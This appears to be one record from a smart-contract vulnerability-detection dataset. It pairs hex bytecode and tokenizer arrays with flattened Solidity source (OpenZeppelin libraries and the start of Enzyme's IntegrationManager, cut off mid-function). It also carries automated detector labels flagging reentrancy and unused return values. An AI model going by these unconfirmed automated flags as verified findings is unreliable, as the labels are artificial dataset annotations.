fffffff8082111561183357600080fd5b818501915085601f83011261184757600080fd5b813581811115611859576118596117f2565b8060051b604051601f19603f8301168101818110858211171561187e5761187e6117f2565b60405291825284820192508381018501918883111561189c57600080fd5b938501935b828510156118c1576118b285611714565b845293850193928501926118a1565b98975050505050505050565b600080604083850312156118e057600080fd5b82356118eb816116ff565b915060208301356118fb816116ff565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561197b5761197b611951565b5060010190565b60006020828403121561199457600080fd5b81516110b1816116ff565b6000806000606084860312156119b457600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119df57600080fd5b81516110b1816117c7565b600082198211156119fd576119fd611951565b500190565b600082821015611a1457611a14611951565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a695784516001600160a01b031683529383019391830191600101611a44565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611aa757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ac657611ac6611951565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220486a5eb658ac79cabcc2d010909fedfa894da033e10e56302dd8471d458215f164736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2278, 11387, 21486, 2094, 23499, 22275, 19797, 2581, 21084, 2683, 2278, 2581, 2683, 10354, 2549, 2050, 28154, 2549, 2278, 2692, 2278, 2581, 16086, 6305, 2546, 2620, 2094, 1013, 1008, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,195
0x965ca477106476B4600562a2eBe13536581883A6
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IMigratableVault Interface /// @author Enzyme Council <[email protected]> /// @dev DO NOT EDIT CONTRACT interface IMigratableVault { function canMigrate(address _who) external view returns (bool canMigrate_); function init( address _owner, address _accessor, string calldata _fundName ) external; function setAccessor(address _nextAccessor) external; function setVaultLib(address _nextVaultLib) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IFundDeployer Interface /// @author Enzyme Council <[email protected]> interface IFundDeployer { enum ReleaseStatus {PreLaunch, Live, Paused} function getOwner() external view returns (address); function getReleaseStatus() external view returns (ReleaseStatus); function isRegisteredVaultCall(address, bytes4) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IComptroller Interface /// @author Enzyme Council <[email protected]> interface IComptroller { enum VaultAction { None, BurnShares, MintShares, TransferShares, ApproveAssetSpender, WithdrawAssetTo, AddTrackedAsset, RemoveTrackedAsset } function activate(address, bool) external; function calcGav(bool) external returns (uint256, bool); function calcGrossShareValue(bool) external returns (uint256, bool); function callOnExtension( address, uint256, bytes calldata ) external; function configureExtensions(bytes calldata, bytes calldata) external; function destruct() external; function getDenominationAsset() external view returns (address); function getVaultProxy() external view returns (address); function init(address, uint256) external; function permissionedVaultAction(VaultAction, bytes calldata) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../../../persistent/utils/IMigratableVault.sol"; /// @title IVault Interface /// @author Enzyme Council <[email protected]> interface IVault is IMigratableVault { function addTrackedAsset(address) external; function approveAssetSpender( address, address, uint256 ) external; function burnShares(address, uint256) external; function callOnContract(address, bytes calldata) external; function getAccessor() external view returns (address); function getOwner() external view returns (address); function getTrackedAssets() external view returns (address[] memory); function isTrackedAsset(address) external view returns (bool); function mintShares(address, uint256) external; function removeTrackedAsset(address) external; function transferShares( address, address, uint256 ) external; function withdrawAssetTo( address, address, uint256 ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExtension Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for all extensions interface IExtension { function activateForFund(bool _isMigration) external; function deactivateForFund() external; function receiveCallFromComptroller( address _comptrollerProxy, uint256 _actionId, bytes calldata _callArgs ) external; function setConfigForFund(bytes calldata _configData) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IIntegrationManager interface /// @author Enzyme Council <[email protected]> /// @notice Interface for the IntegrationManager interface IIntegrationManager { enum SpendAssetsHandleType {None, Approve, Transfer, Remove} } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "../../core/fund/vault/IVault.sol"; import "../../infrastructure/price-feeds/derivatives/IDerivativePriceFeed.sol"; import "../../infrastructure/price-feeds/primitives/IPrimitivePriceFeed.sol"; import "../../utils/AddressArrayLib.sol"; import "../policy-manager/IPolicyManager.sol"; import "../utils/ExtensionBase.sol"; import "../utils/FundDeployerOwnerMixin.sol"; import "../utils/PermissionedVaultActionMixin.sol"; import "./integrations/IIntegrationAdapter.sol"; import "./IIntegrationManager.sol"; /// @title IntegrationManager /// @author Enzyme Council <[email protected]> /// @notice Extension to handle DeFi integration actions for funds contract IntegrationManager is IIntegrationManager, ExtensionBase, FundDeployerOwnerMixin, PermissionedVaultActionMixin { using AddressArrayLib for address[]; using EnumerableSet for EnumerableSet.AddressSet; using SafeMath for uint256; event AdapterDeregistered(address indexed adapter, string indexed identifier); event AdapterRegistered(address indexed adapter, string indexed identifier); event AuthUserAddedForFund(address indexed comptrollerProxy, address indexed account); event AuthUserRemovedForFund(address indexed comptrollerProxy, address indexed account); event CallOnIntegrationExecutedForFund( address indexed comptrollerProxy, address vaultProxy, address caller, address indexed adapter, bytes4 indexed selector, bytes integrationData, address[] incomingAssets, uint256[] incomingAssetAmounts, address[] outgoingAssets, uint256[] outgoingAssetAmounts ); address private immutable DERIVATIVE_PRICE_FEED; address private immutable POLICY_MANAGER; address private immutable PRIMITIVE_PRICE_FEED; EnumerableSet.AddressSet private registeredAdapters; mapping(address => mapping(address => bool)) private comptrollerProxyToAcctToIsAuthUser; constructor( address _fundDeployer, address _policyManager, address _derivativePriceFeed, address _primitivePriceFeed ) public FundDeployerOwnerMixin(_fundDeployer) { DERIVATIVE_PRICE_FEED = _derivativePriceFeed; POLICY_MANAGER = _policyManager; PRIMITIVE_PRICE_FEED = _primitivePriceFeed; } ///////////// // GENERAL // ///////////// /// @notice Activates the extension by storing the VaultProxy function activateForFund(bool) external override { __setValidatedVaultProxy(msg.sender); } /// @notice Authorizes a user to act on behalf of a fund via the IntegrationManager /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _who The user to authorize function addAuthUserForFund(address _comptrollerProxy, address _who) external { __validateSetAuthUser(_comptrollerProxy, _who, true); comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who] = true; emit AuthUserAddedForFund(_comptrollerProxy, _who); } /// @notice Deactivate the extension by destroying storage function deactivateForFund() external override { delete comptrollerProxyToVaultProxy[msg.sender]; } /// @notice Removes an authorized user from the IntegrationManager for the given fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _who The authorized user to remove function removeAuthUserForFund(address _comptrollerProxy, address _who) external { __validateSetAuthUser(_comptrollerProxy, _who, false); comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who] = false; emit AuthUserRemovedForFund(_comptrollerProxy, _who); } /// @notice Checks whether an account is an authorized IntegrationManager user for a given fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _who The account to check /// @return isAuthUser_ True if the account is an authorized user or the fund owner function isAuthUserForFund(address _comptrollerProxy, address _who) public view returns (bool isAuthUser_) { return comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who] || _who == 